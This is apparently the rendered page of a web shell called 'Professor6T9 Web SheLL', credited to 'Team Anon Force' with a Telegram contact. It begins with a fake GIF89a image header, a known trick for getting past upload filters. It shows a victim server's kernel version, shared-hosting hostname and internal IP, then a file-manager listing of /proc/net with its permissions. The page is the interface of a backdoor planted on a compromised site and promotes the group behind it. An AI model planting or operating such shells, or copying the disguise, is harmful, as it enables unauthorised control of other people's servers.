GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux world-400.fr.planethoster.net 4.18.0-425.13.1.lve.el7h.x86_64 #1 SMP Mon Feb 27 14:44:55 UTC 2023 x86_64
 Apache
 10.195.0.10
Name Type Size Owner/Group Permission Last Modified Actions
. dir - pluszzsu/pluszzsu 0555 2026-06-12 11:14:24
.. dir - pluszzsu/pluszzsu 0555 2026-06-12 10:39:31
dev_snmp6 dir - root/root 0555 2026-06-13 03:29:11
netfilter dir - root/root 0555 2026-06-13 03:29:11
rpc dir - root/root 0555 2026-06-13 03:29:11
stat dir - root/root 0555 2026-06-13 03:29:11
anycast6 application/x-empty 0 B root/root 0444 2026-06-14 11:13:54
arp text/plain 0 B root/root 0444 2026-06-14 11:13:54
connector text/plain 0 B root/root 0444 2026-06-13 03:29:11
dev text/plain 0 B root/root 0444 2026-06-14 11:13:54
dev_mcast text/plain 0 B root/root 0444 2026-06-14 11:13:54
fib_trie text/plain 0 B root/root 0444 2026-06-14 11:13:54
fib_triestat text/plain 0 B root/root 0444 2026-06-14 11:13:54
icmp text/plain 0 B root/root 0444 2026-06-14 11:13:54
icmp6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
if_inet6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
igmp text/plain 0 B root/root 0444 2026-06-14 11:13:54
igmp6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
ip6_flowlabel text/plain 0 B root/root 0444 2026-06-14 11:13:54
ip6_mr_cache text/plain 0 B root/root 0444 2026-06-14 11:13:54
ip6_mr_vif text/plain 0 B root/root 0444 2026-06-14 11:13:54
ip6_tables_matches 0 B root/root 0440 2026-06-13 03:29:11
ip6_tables_names 0 B root/root 0440 2026-06-14 11:13:54
ip6_tables_targets 0 B root/root 0440 2026-06-13 03:29:11
ip_mr_cache text/plain 0 B root/root 0444 2026-06-14 11:13:54
ip_mr_vif text/plain 0 B root/root 0444 2026-06-14 11:13:54
ip_tables_matches 0 B root/root 0440 2026-06-13 03:29:11
ip_tables_names 0 B root/root 0440 2026-06-14 11:13:54
ip_tables_targets 0 B root/root 0440 2026-06-13 03:29:11
ipv6_route text/plain 0 B root/root 0444 2026-06-14 11:13:54
mcfilter text/plain 0 B root/root 0444 2026-06-14 11:13:54
mcfilter6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
netlink text/plain 0 B root/root 0444 2026-06-14 11:13:54
netstat text/plain 0 B root/root 0444 2026-06-14 11:13:54
nf_conntrack 0 B root/root 0440 2026-06-14 11:13:54
nf_conntrack_expect 0 B root/root 0440 2026-06-14 11:13:54
packet text/plain 0 B root/root 0444 2026-06-14 11:13:54
protocols text/plain 0 B root/root 0444 2026-06-14 11:13:54
psched text/plain 0 B root/root 0444 2026-06-13 03:29:11
ptype text/plain 0 B root/root 0444 2026-06-14 11:13:54
raw text/plain 0 B root/root 0444 2026-06-14 11:13:54
raw6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
route text/plain 0 B root/root 0444 2026-06-14 11:13:54
rt6_stats text/plain 0 B root/root 0444 2026-06-14 11:13:54
rt_acct application/octet-stream 0 B root/root 0444 2026-06-13 03:29:11
rt_cache text/plain 0 B root/root 0444 2026-06-13 03:29:11
snmp text/plain 0 B root/root 0444 2026-06-14 11:13:54
snmp6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
sockstat text/plain 0 B root/root 0444 2026-06-14 11:13:54
sockstat6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
softnet_stat text/plain 0 B root/root 0444 2026-06-13 03:29:11
tcp text/plain 0 B root/root 0444 2026-06-14 11:13:54
tcp6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
udp text/plain 0 B root/root 0444 2026-06-14 11:13:54
udp6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
udplite text/plain 0 B root/root 0444 2026-06-14 11:13:54
udplite6 text/plain 0 B root/root 0444 2026-06-14 11:13:54
unix text/plain 0 B root/root 0444 2026-06-14 11:13:54
xfrm_stat text/plain 0 B root/root 0444 2026-06-14 11:13:54
© Professor6T9